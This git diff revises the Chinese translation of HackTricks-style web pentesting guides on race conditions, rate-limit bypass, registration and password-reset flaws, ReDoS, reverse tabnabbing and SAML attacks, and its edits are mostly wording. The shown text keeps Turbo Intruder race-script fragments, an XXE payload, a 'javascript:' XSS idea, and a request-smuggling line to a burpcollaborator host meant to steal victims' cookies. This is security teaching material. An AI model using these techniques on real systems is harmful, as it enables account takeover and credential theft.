--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -5,7 +5,7 @@
 > [!WARNING]
 > 要深入了解此技术，请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
-## Enhancing Race Condition Attacks
+## 增强竞争条件攻击
 
 利用竞争条件的主要障碍是确保多个请求同时处理，**处理时间差异非常小——理想情况下，少于1毫秒**。
 
@@ -25,21 +25,21 @@
 
 随后发送的保留帧应以单个数据包到达，可以通过 Wireshark 验证。此方法不适用于静态文件，这些文件通常不涉及 RC 攻击。
 
-### Adapting to Server Architecture
+### 适应服务器架构
 
 了解目标的架构至关重要。前端服务器可能以不同方式路由请求，从而影响时序。通过无关请求进行预先的服务器端连接预热，可能会使请求时序正常化。
 
-#### Handling Session-Based Locking
+#### 处理基于会话的锁定
 
 像 PHP 的会话处理程序这样的框架按会话序列化请求，可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。
 
-#### Overcoming Rate or Resource Limits
+#### 克服速率或资源限制
 
 如果连接预热无效，通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟，可能会通过引发有利于竞争条件的服务器端延迟来促进单包攻击。
 
-## Attack Examples
+## 攻击示例
 
-- **Tubo Intruder - HTTP2 单包攻击 (1 个端点)**：您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)，您可以在请求中更改要暴力破解的值 **`%s`**，例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`，然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**：
+- **Tubo Intruder - HTTP2 单包攻击（1 个端点）**：您可以将请求发送到 **Turbo intruder**（`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`），您可以在请求中更改要暴力破解的值 **`%s`**，例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`，然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**：
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
@@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
 > [!WARNING]
 > 如果网站不支持 HTTP2（仅支持 HTTP1.1），请使用 `Engine.THREADED` 或 `Engine.BURP`，而不是 `Engine.BURP2`。
 
-- **Tubo Intruder - HTTP2 单包攻击（多个端点）**：如果您需要向一个端点发送请求，然后向其他多个端点发送请求以触发 RCE，您可以将 `race-single-packet-attack.py` 脚本更改为类似：
+- **Tubo Intruder - HTTP2 单包攻击（多个端点）**：如果您需要向一个端点发送请求，然后向其他多个端点发送请求以触发 RCE，您可以将 `race-single-packet-attack.py` 脚本更改为类似以下内容：
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -87,11 +87,11 @@ engine.openGate(currentAttempt)
 - 对于 **limit-overrun**，您可以在组中**添加相同的请求 50 次**。
 - 对于 **connection warming**，您可以在 **组的开始**添加一些请求到 web 服务器的某个非静态部分。
 - 对于在处理 **一个请求和另一个请求之间**的过程 **延迟**，您可以在两个请求之间**添加额外的请求**。
-- 对于 **multi-endpoint** RC，您可以开始发送 **请求**，该请求 **进入隐藏状态**，然后在其后 **发送 50 个请求**，这些请求 **利用隐藏状态**。
+- 对于 **multi-endpoint** RC，您可以开始发送**请求**，该请求**进入隐藏状态**，然后在其后**发送 50 个请求**，这些请求**利用隐藏状态**。
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **自动化 Python 脚本**：该脚本的目标是更改用户的电子邮件，同时不断验证，直到新电子邮件的验证令牌到达最后一个电子邮件（这是因为在代码中看到一个 RC，可以修改电子邮件，但验证被发送到旧电子邮件，因为指示电子邮件的变量已经用第一个填充）。\
+- **自动化 python 脚本**：该脚本的目标是更改用户的电子邮件，同时不断验证，直到新电子邮件的验证令牌到达最后一个电子邮件（这是因为在代码中看到一个 RC，可以修改电子邮件，但验证被发送到旧电子邮件，因为指示电子邮件的变量已经用第一个填充）。\
 当在收到的电子邮件中找到“objetivo”一词时，我们知道收到了更改电子邮件的验证令牌，并结束攻击。
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@@ -219,19 +219,19 @@ response = requests.get(url, verify=False)
 ```
 ### 改进单包攻击
 
-在原始研究中解释了此攻击的限制为1,500字节。然而，在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中，解释了如何通过使用IP层分片（将单个数据包拆分为多个IP数据包）并以不同顺序发送它们，从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**，这使得在所有片段到达服务器之前，防止重新组装数据包。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。&#x20;
+在原始研究中解释了此攻击的限制为1,500字节。然而，在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中，解释了如何通过使用IP层分片（将单个数据包拆分为多个IP数据包）并以不同顺序发送它们，从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**，这使得在所有片段到达服务器之前，防止数据包重新组装。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。&#x20;
 
-请注意，尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠，但它也可能存在一些软件限制。一些流行的HTTP服务器，如Apache、Nginx和Go，将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而，像NodeJS和nghttp2等其他服务器则没有限制。\
+请注意，尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠，但它也可能有一些软件限制。一些流行的HTTP服务器，如Apache、Nginx和Go，将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而，像NodeJS和nghttp2这样的其他服务器则没有限制。\
 这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接（限制了此RC攻击）。
 
-您可以在repo中找到使用此技术的一些示例[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
+您可以在repo中找到使用此技术的一些示例 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
 
 ## 原始BF
 
 在之前的研究之前，使用了一些有效载荷，这些有效载荷只是试图尽可能快地发送数据包以引发RC。
 
 - **Repeater:** 查看上一节中的示例。
-- **Intruder**: 将**请求**发送到**Intruder**，在**选项菜单**中将**线程数**设置为**30**，并选择有效载荷为**Null payloads**并生成**30个**。
+- **Intruder**: 将**请求**发送到**Intruder**，在**选项菜单**中将**线程数**设置为**30**，并选择有效载荷为**Null payloads**并生成**30**。
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -283,24 +283,24 @@ asyncio.run(main())
 
 ### 限制溢出 / TOCTOU
 
-这是最基本的竞争条件类型，其中 **漏洞** 出现在 **限制你执行某个操作次数** 的地方。比如在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在 [**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**这个漏洞**](https://hackerone.com/reports/759247)** 中找到。**
+这是最基本的竞争条件类型，其中**漏洞**出现在**限制您执行操作次数**的地方。就像在网络商店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到。**
 
-这种攻击有许多变种，包括：
+这种攻击有许多变体，包括：
 
 - 多次兑换礼品卡
 - 多次评价产品
 - 提取或转移超过账户余额的现金
-- 重复使用单个 CAPTCHA 解答
+- 重复使用单个 CAPTCHA 解
 - 绕过反暴力破解速率限制
 
 ### **隐藏子状态**
 
-利用复杂的竞争条件通常涉及利用与隐藏或 **意外机器子状态** 交互的短暂机会。以下是处理此问题的方法：
+利用复杂的竞争条件通常涉及利用与隐藏或**意外机器子状态**交互的短暂机会。以下是处理此问题的方法：
 
 1. **识别潜在的隐藏子状态**
 - 首先确定修改或与关键数据交互的端点，例如用户资料或密码重置过程。重点关注：
 - **存储**：优先选择操作服务器端持久数据的端点，而不是处理客户端数据的端点。
-- **操作**：寻找更可能创建可利用条件的操作，这些操作会改变现有数据，而不是添加新数据。
+- **操作**：寻找更可能创建可利用条件的操作，这些操作会更改现有数据，而不是添加新数据。
 - **键控**：成功的攻击通常涉及基于相同标识符的操作，例如用户名或重置令牌。
 2. **进行初步探测**
 - 使用竞争条件攻击测试识别的端点，观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。
@@ -325,29 +325,29 @@ asyncio.run(main())
 
 ### 支付并添加项目
 
-查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中 **支付** 并 **添加一个额外** 的项目而 **无需支付**。
+查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中**支付**并**添加一个额外**的您**不需要支付的**项目。
 
 ### 确认其他电子邮件
 
-这个想法是 **同时验证一个电子邮件地址并将其更改为另一个**，以找出平台是否验证了更改后的新地址。
+这个想法是**同时验证一个电子邮件地址并将其更改为另一个**，以找出平台是否验证更改后的新地址。
 
 ### 将电子邮件更改为两个基于 Cookie 的电子邮件地址
 
-根据 [**这项研究**](https://portswigger.net/research/smashing-the-state-machine)，Gitlab 可能因为 **将一个电子邮件的验证令牌发送到另一个电子邮件** 而容易受到接管。
+根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine)，Gitlab 通过这种方式容易受到接管，因为它可能**将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件**。
 
 **查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **进行尝试。**
 
 ### 隐藏数据库状态 / 确认绕过
 
-如果使用 **两个不同的写入** 来 **添加** **信息** 到 **数据库** 中，则在 **仅第一个数据被写入** 数据库的短暂时间内。例如，在创建用户时，**用户名** 和 **密码** 可能会被 **写入**，然后 **令牌** 用于确认新创建的账户被写入。这意味着在短时间内 **确认账户的令牌是空的**。
+如果使用**两个不同的写入**在**数据库**中**添加**信息，则在**仅写入第一条数据**的短时间内，**数据库**中可能只有第一条数据。例如，在创建用户时，**用户名**和**密码**可能被**写入**，然后**确认新创建账户的令牌**被写入。这意味着在短时间内，**确认账户的令牌为 null**。
 
-因此，**注册一个账户并发送多个带有空令牌** (`token=` 或 `token[]=` 或任何其他变体) 的请求以立即确认账户，可能允许 **确认一个你无法控制电子邮件的账户**。
+因此，**注册一个账户并发送多个带有空令牌的请求**（`token=`或`token[]=`或任何其他变体）以立即确认账户，可能允许您**确认一个您无法控制电子邮件的账户**。
 
 **查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **进行尝试。**
 
 ### 绕过 2FA
 
-以下伪代码容易受到竞争条件的影响，因为在创建会话的非常短时间内 **2FA 并未强制执行**：
+以下伪代码容易受到竞争条件的影响，因为在创建会话的非常短时间内，**2FA 并未强制执行**：
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -357,20 +357,20 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 永久持久性
 
-有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者已注册的用户。为此，**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
-到此为止，只是一个常见的使用 google/linkedin/github 等的登录，您会看到一个页面提示：“_应用程序 \<InsertCoolName> 想要访问您的信息，您想允许吗？_”
+有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此，**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
+到此为止，只是一个常见的使用 google/linkedin/github 等登录的过程，您会看到一个页面提示：“_应用程序 \<InsertCoolName> 想要访问您的信息，您想允许吗？_”
 
 #### `authorization_code` 中的竞争条件
 
-**问题**出现在您**接受**它并自动将**`authorization_code`**发送到恶意应用程序时。然后，这个**应用程序利用 OAUth 服务提供者中的竞争条件从您的账户的**`authorization_code`**生成多个 AT/RT**（_身份验证令牌/刷新令牌_）。基本上，它将利用您已接受该应用程序访问您的数据的事实来**创建多个账户**。然后，如果您**停止允许该应用程序访问您的数据，一对 AT/RT 将被删除，但其他的仍然有效**。
+**问题**出现在您**接受**后，自动将**`authorization_code`**发送给恶意应用程序。然后，这个**应用程序利用 OAUth 服务提供者中的竞争条件，从您的账户的**`authorization_code`**生成多个 AT/RT**（_身份验证令牌/刷新令牌_）。基本上，它将利用您已接受该应用程序访问您数据的事实来**创建多个账户**。然后，如果您**停止允许该应用程序访问您的数据，一对 AT/RT 将被删除，但其他的仍然有效**。
 
 #### `Refresh Token` 中的竞争条件
 
-一旦您**获得有效的 RT**，您可以尝试**利用它生成多个 AT/RT**，即使用户取消了恶意应用程序访问其数据的权限，**多个 RT 仍然有效。**
+一旦您**获得有效的 RT**，您可以尝试**利用它生成多个 AT/RT**，即使用户取消了恶意应用程序访问其数据的权限，**多个 RT 仍然有效**。
 
 ## **WebSockets 中的 RC**
 
-在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中，您可以找到一个 Java 的 PoC，用于并行发送 websocket 消息以滥用**Web Sockets 中的竞争条件**。
+在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中，您可以找到一个用 Java 编写的 PoC，以**并行**发送 websocket 消息，利用**Web Sockets 中的竞争条件**。
 
 ## 参考文献
 
diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md
index 54dc6da63..8994854d5 100644
--- a/src/pentesting-web/rate-limit-bypass.md
+++ b/src/pentesting-web/rate-limit-bypass.md
@@ -42,7 +42,7 @@ X-Forwarded-For: 127.0.0.1
 
 ### 利用代理网络
 
-部署一个代理网络，将请求分散到多个 IP 地址，可以有效绕过基于 IP 的速率限制。通过各种代理路由流量，每个请求看起来都来自不同的来源，从而稀释速率限制的有效性。
+部署一个代理网络，将请求分散到多个 IP 地址，可以有效绕过基于 IP 的速率限制。通过通过各种代理路由流量，每个请求看起来都来自不同的来源，从而稀释速率限制的有效性。
 
 ### 在不同帐户或会话之间分散攻击
 
@@ -50,6 +50,6 @@ X-Forwarded-For: 127.0.0.1
 
 ### 继续尝试
 
-请注意，即使存在速率限制，您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中，漏洞猎人发现，即使在 20 次不成功的尝试后触发了速率限制并以 401 响应，如果发送了有效的 OTP，则会收到 200 响应。
+请注意，即使存在速率限制，您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中，漏洞猎人发现，即使在 20 次不成功尝试后触发速率限制并以 401 响应，如果发送了有效的 OTP，则会收到 200 响应。
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md
index d501b569f..75710ec87 100644
--- a/src/pentesting-web/registration-vulnerabilities.md
+++ b/src/pentesting-web/registration-vulnerabilities.md
@@ -115,7 +115,7 @@ email=victim@mail.com|hacker@mail.com
 
 1. 使用API/UI触发特定电子邮件的密码重置请求，例如：test@mail.com
 2. 检查服务器响应并查看`resetToken`
-3. 然后在URL中使用令牌，例如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
+3. 然后在URL中使用令牌，如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
 
 ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
 
@@ -139,7 +139,7 @@ email=victim@mail.com|hacker@mail.com
 `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
 2\. 构造一个请求，该请求将用以下数据覆盖`POST / HTTP/1.1`：\
 `GET http://something.burpcollaborator.net HTTP/1.1 X:`，目的是将受害者重定向到burpcollab并窃取他们的cookies\
-3\. 最终请求可能看起来像以下内容
+3\. 最终请求可能看起来如下
 ```
 GET / HTTP/1.1
 Transfer-Encoding: chunked
@@ -157,7 +157,7 @@ Hackerone 报告利用此漏洞\
 
 ### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
 
-1. 创建 CSRF 的有效载荷，例如：“用于密码更改的自动提交 HTML 表单”
+1. 创建 CSRF 的有效载荷，例如：“自动提交的 HTML 表单用于密码更改”
 2. 发送有效载荷
 
 ### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
diff --git a/src/pentesting-web/regular-expression-denial-of-service-redos.md b/src/pentesting-web/regular-expression-denial-of-service-redos.md
index 095c67c44..48d4e875e 100644
--- a/src/pentesting-web/regular-expression-denial-of-service-redos.md
+++ b/src/pentesting-web/regular-expression-denial-of-service-redos.md
@@ -4,7 +4,7 @@
 
 # 正则表达式拒绝服务 (ReDoS)
 
-**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式（用于搜索和匹配文本模式的一种方式）工作中的弱点。有时，当使用正则表达式时，它们可能会变得非常慢，尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重，甚至在文本大小稍微增加时也会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
+**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式（用于搜索和匹配文本模式的一种方式）工作中的弱点。有时，当使用正则表达式时，它们可能会变得非常慢，尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重，甚至在文本大小稍微增加时就会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
 
 ## 有问题的正则表达式天真算法
 
@@ -20,9 +20,9 @@
 - (a|a?)+
 - (.\*a){x} for x > 10
 
-所有这些都对输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 易受攻击。
+所有这些都对输入`aaaaaaaaaaaaaaaaaaaaaaaa!`脆弱。
 
-## ReDoS 有效载荷
+## ReDoS 载荷
 
 ### 通过 ReDoS 字符串外泄
 
@@ -70,7 +70,7 @@ Regexp (a+)*$ took 723 milliseconds.
 - [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
 - [https://devina.io/redos-checker](https://devina.io/redos-checker)
 
-## 参考
+## 参考资料
 
 - [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
 - [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index 578589210..28a6b6866 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -14,14 +14,14 @@
 
 ## **密码重置中毒**
 
-- 攻击者可能在密码重置请求中操纵Host头，将重置链接指向恶意网站。
+- 攻击者可能在密码重置请求期间操纵Host头，将重置链接指向恶意网站。
 - **影响**：通过将重置令牌泄露给攻击者，可能导致账户接管。
 - **缓解步骤**：
 - 验证Host头是否在允许的域名白名单中。
 - 使用安全的服务器端方法生成绝对URL。
 - **补丁**：使用`$_SERVER['SERVER_NAME']`构造密码重置URL，而不是`$_SERVER['HTTP_HOST']`。
 - **参考**：
-- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
+- [Acunetix关于密码重置中毒的文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
 
 ## **通过操纵电子邮件参数重置密码**
 
@@ -72,7 +72,7 @@ POST /resetPassword
 - **缓解步骤**：
 - 服务器端正确解析和验证电子邮件参数。
 - 使用预处理语句或参数化查询以防止注入攻击。
-- **参考文献**：
+- **参考**：
 - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
 - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
 - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
@@ -108,9 +108,9 @@ POST /api/changepass
 - 基于用户的电子邮件
 - 基于名字和姓氏
 - 基于出生日期
-- 基于加密
+- 基于密码学
 - **缓解步骤**：
-- 使用强大的加密方法生成令牌。
+- 使用强大的密码学方法生成令牌。
 - 确保足够的随机性和长度以防止可预测性。
 - **工具**：使用Burp Sequencer分析令牌的随机性。
 
@@ -146,7 +146,7 @@ uuid-insecurities.md
 - 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌，以绕过基于IP的速率限制。
 - **缓解步骤**：
 - 实施强大的速率限制和账户锁定机制。
-- 监控可疑活动，以指示暴力攻击。
+- 监控可疑活动，以指示暴力破解攻击。
 
 ## **尝试使用您的令牌**
 
diff --git a/src/pentesting-web/reverse-tab-nabbing.md b/src/pentesting-web/reverse-tab-nabbing.md
index 5c00ba1f7..f2090f1c9 100644
--- a/src/pentesting-web/reverse-tab-nabbing.md
+++ b/src/pentesting-web/reverse-tab-nabbing.md
@@ -25,7 +25,7 @@
 
 ## 示例 <a href="#examples" id="examples"></a>
 
-在一个文件夹中创建以下页面并运行一个web服务器，使用`python3 -m http.server`\
+在一个文件夹中创建以下页面，并使用`python3 -m http.server`运行一个web服务器。\
 然后，**访问**`http://127.0.0.1:8000/`vulnerable.html，**点击**链接并注意**原始****网站**的**URL**是如何**变化**的。
 ```markup:vulnerable.html
 <!DOCTYPE html>
@@ -60,7 +60,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
 
 在发生**跨源**访问的情况下（跨不同域的访问），恶意网站可以访问的**window** JavaScript 类实例的属性仅限于以下内容：
 
-- **`opener.closed`**：此属性用于确定窗口是否已关闭，返回一个布尔值。
+- **`opener.closed`**：此属性用于确定窗口是否已关闭，返回布尔值。
 - **`opener.frames`**：此属性提供对当前窗口内所有 iframe 元素的访问。
 - **`opener.length`**：此属性返回当前窗口中存在的 iframe 元素的数量。
 - **`opener.opener`**：可以通过此属性获取打开当前窗口的窗口的引用。
diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md
index f13fa3f52..89285d68b 100644
--- a/src/pentesting-web/saml-attacks/README.md
+++ b/src/pentesting-web/saml-attacks/README.md
@@ -53,7 +53,7 @@ First child after round-trip: Z
 
 ## XML签名包装攻击
 
-在**XML签名包装攻击（XSW）**中，攻击者利用XML文档在两个不同阶段处理时出现的漏洞：**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言，攻击者**注入伪造元素**，这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此，尽管XML签名在技术上仍然有效并通过验证，但应用逻辑处理的是**欺诈元素**。因此，攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**，使得**任意内容的注入**得以在不被检测的情况下进行。
+在**XML签名包装攻击（XSW）**中，攻击者利用XML文档在两个不同阶段处理时出现的漏洞：**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言，攻击者**注入伪造元素**，这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此，尽管XML签名在技术上仍然有效并通过验证，但应用逻辑处理的是**欺诈元素**。结果，攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**，使得**任意内容的注入**得以在不被检测的情况下进行。
 
 以下攻击基于[**这篇博客文章**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **和** [**这篇论文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)。因此，请查看这些以获取更多详细信息。
 
@@ -67,7 +67,7 @@ First child after round-trip: Z
 ### XSW #2
 
 - **与XSW #1的区别**：使用分离签名而不是封装签名。
-- **影响**：“恶意”结构，类似于XSW #1，旨在欺骗完整性检查后的业务逻辑。
+- **影响**：与XSW #1类似的“恶意”结构旨在欺骗完整性检查后的业务逻辑。
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
 
@@ -87,7 +87,7 @@ First child after round-trip: Z
 
 ### XSW #5
 
-- **独特之处**：签名和原始断言都不符合标准配置（封装/封装/分离）。
+- **独特方面**：签名和原始断言都不符合标准配置（封装/封装/分离）。
 - **影响**：复制的断言封装签名，修改预期的文档结构。
 
 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
@@ -125,7 +125,7 @@ First child after round-trip: Z
 ../xxe-xee-xml-external-entity.md
 {{#endref}}
 
-SAML响应是**解压缩和base64编码的XML文档**，可能会受到XML外部实体（XXE）攻击的影响。通过操纵SAML响应的XML结构，攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式：
+SAML响应是**解压缩和base64编码的XML文档**，可能会受到XML外部实体（XXE）攻击的影响。通过操控SAML响应的XML结构，攻击者可以尝试利用XXE漏洞。以下是这种攻击的可视化方式：
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [
@@ -157,9 +157,9 @@ SAML响应是**解压缩和base64编码的XML文档**，可能会受到XML外部
 ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
 {{#endref}}
 
-可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式，如 HTML、JSON 或 PDF。重要的是要注意 **XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名，攻击也可以成功；自签名或无效签名足以继续。
+可扩展样式表语言转换 (XSLT) 可用于将 XML 文档转换为各种格式，如 HTML、JSON 或 PDF。重要的是要注意，**XSLT 转换在数字签名验证之前执行**。这意味着即使没有有效的签名，攻击也可以成功；自签名或无效签名足以继续。
 
-在这里，您可以找到一个 **POC** 来检查这种类型的漏洞，在本节开头提到的 hacktricks 页面中，您可以找到有效载荷。
+在这里，您可以找到一个 **POC** 来检查此类漏洞，在本节开头提到的 hacktricks 页面中，您可以找到有效载荷。
 ```xml
 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
 ...
@@ -210,7 +210,7 @@ Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAM
 1. 拦截 SAML 响应。
 2. 如果响应包含签名，使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。
 3. 在 SAML Raider 证书选项卡中，选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
-4. 返回 Burp 的代理中拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。
+4. 返回到 Burp 的代理中拦截的请求。 从 XML Signature 下拉菜单中选择新的自签名证书。
 5. 使用 `Remove Signatures` 按钮移除任何现有签名。
 6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮（视情况而定）使用新证书签署消息或声明。
 7. 转发签名消息。成功的身份验证表明 SP 接受由您的自签名证书签署的消息，揭示 SAML 消息验证过程中的潜在漏洞。
@@ -223,7 +223,7 @@ Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 **
 
 为了使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行，必须满足某些条件。首先，服务提供者上必须有一个有效的帐户（称为 SP-Legit）。其次，目标服务提供者（SP-Target）必须接受来自同一身份提供者的令牌，该身份提供者为 SP-Legit 提供服务。
 
-在这些条件下，攻击过程是简单的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。拦截身份提供者到 SP-Legit 的 SAML 响应。然后将该拦截的 SAML 响应（原本是针对 SP-Legit 的）重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明，从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
+在这些条件下，攻击过程是直接的。通过共享的身份提供者与 SP-Legit 启动一个真实会话。拦截身份提供者到 SP-Legit 的 SAML 响应。然后将该拦截的 SAML 响应（原本是针对 SP-Legit 的）重定向到 SP-Target。攻击成功的标准是 SP-Target 接受该声明，从而允许访问与 SP-Legit 使用的相同帐户名下的资源。
 ```python
 # Example to simulate interception and redirection of SAML Response
 def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@@ -256,7 +256,7 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
 ```
 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
 ```
-这揭示了 `base` 参数接受一个 URL。考虑到这一点，出现了将 URL 替换为 `javascript:alert(123);` 的想法，以尝试发起 XSS（跨站脚本）攻击。
+这揭示了 `base` 参数接受一个 URL。考虑到这一点，出现了用 `javascript:alert(123);` 替代 URL 的想法，以尝试发起 XSS（跨站脚本）攻击。
 
 ### 大规模利用
 
